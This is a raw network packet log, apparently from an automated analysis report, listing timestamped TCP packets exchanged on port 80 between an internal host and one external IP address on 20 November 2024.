Nov 20, 2024 14:43:39.690478086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.690490961 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.691567898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.691581011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.692630053 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.692753077 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.693784952 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.693799019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.694885015 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.695049047 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.696099043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.696111917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.696199894 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.696260929 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.697055101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.697120905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.697599888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.697654009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.698122025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.698136091 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.698193073 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.699258089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.699342012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.700484991 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.700618982 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.705085993 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.705137014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.705208063 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.705265045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.705965996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.706032991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.706100941 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.706141949 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.706463099 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.706475973 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.706532001 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.706573009 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.707779884 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.707885981 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.708148956 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.708220005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.708878994 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.708930969 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.709019899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.709073067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.710206032 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.710283041 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.710478067 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.710633993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.711249113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.711301088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.711397886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.711621046 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.712487936 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.712500095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.712557077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.713433981 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.713481903 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.713584900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.713643074 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.714276075 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.714340925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.714966059 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.715024948 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.715703964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.715769053 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.716136932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.716383934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.716731071 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.716793060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.717396975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.717456102 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.717724085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.717777967 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.717864037 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.718015909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.719005108 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.719013929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.719080925 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.719888926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.719957113 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.721189022 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.721200943 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.721213102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.721240997 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.721282005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.722173929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.722186089 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.722225904 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.722248077 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.723170042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.723182917 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.723237991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.723263025 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.724440098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.724499941 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.725454092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.725466013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.725474119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.725542068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.726459026 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.726521015 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.726763964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.726821899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.727571011 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.727644920 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.728013039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.728089094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.728662014 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.728735924 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.729279995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.729348898 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.729597092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.729609013 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.729656935 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.729671955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.730190992 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.730355978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.731857061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.731918097 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.732011080 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.732023954 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.732075930 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.733108044 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.733124971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.733175993 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.733198881 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.734157085 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.734204054 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.813669920 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.813736916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.813836098 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.813958883 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.814178944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.814229012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.814241886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.814285994 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.815228939 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.815288067 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.815457106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.815510988 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.816344023 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.816391945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.816508055 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.816560030 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.817416906 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.817476988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.817487955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.817537069 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.818531990 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.818581104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.818670988 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.818725109 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.819619894 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.819701910 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.819730043 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.819780111 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.880290985 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.880358934 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.880558968 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.880603075 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.880810976 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.880894899 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.880939007 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.881968975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.881983995 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.882025957 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.882066011 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.883119106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.883176088 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.883224964 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.883270979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.884116888 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.884164095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.884175062 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.884207010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.885140896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.885198116 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.885433912 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.885483027 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.886253119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.886445999 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.886499882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.887351036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.887367010 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.887425900 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.887453079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.888453960 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.888511896 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.888588905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.889527082 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.889643908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.889803886 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.889961958 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.890618086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.890768051 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.890770912 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.890813112 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.891710997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.891762972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.892854929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.892872095 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.892884970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.892920017 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.892956972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.893896103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.893909931 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.893953085 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.894938946 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.895062923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.895133972 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.895271063 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.896042109 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.896100044 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.896634102 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.896692991 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.897138119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.897190094 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.897360086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.897604942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.898231030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.898318052 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.898339033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.898386955 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.899323940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.899341106 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.899395943 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.900415897 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.900465012 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.900830030 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.900871992 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.901458979 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.901547909 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.901576042 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.901618004 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.902545929 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.902606010 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.902872086 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.903240919 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.903656006 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.903709888 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.903785944 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.903831005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.904715061 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.905225039 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.905282021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.905788898 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.905843019 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.905940056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.905987024 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.906898975 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.906963110 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.907632113 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.907697916 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.908004045 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.908058882 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.908346891 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.908742905 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.909089088 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.909135103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.909487009 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.909698963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.910248041 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.910387039 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.910490036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.910614014 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.911268950 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.911329031 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.911569118 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.911624908 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.912436008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.912489891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.912936926 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.913151979 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.913419008 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.913489103 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.914537907 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.914554119 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.914588928 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.914599895 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.914613008 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.914716005 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.915608883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.915678978 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.916810036 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.916825056 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.916851997 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.916876078 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.916927099 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.917825937 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.917875051 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.918704033 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.918785095 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.918927908 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.918939114 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.918973923 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.919003963 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.920156002 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.920218945 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.920386076 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.920430899 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.921065092 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.921107054 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.921129942 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.921169043 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.922125101 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.922172070 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.922372103 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.922415972 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.923228025 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.923273087 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.924417019 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.924428940 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:39.924463034 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.924489021 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:39.980581045 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.100334883 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.437074900 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.437138081 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.437158108 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.437211037 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.437536001 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.437594891 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.437618971 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.437793970 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.438643932 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.438703060 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.438800097 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.438851118 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.439568996 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.439627886 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.439666986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.439837933 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.440596104 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.440648079 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.440742970 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.440807104 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.441632986 CET	80	49800	185.215.113.206	192.168.2.6
Nov 20, 2024 14:43:40.441693068 CET	49800	80	192.168.2.6	185.215.113.206
Nov 20, 2024 14:43:40.441716909 CET	80	49800	185.215.113.206	192.168.2.6
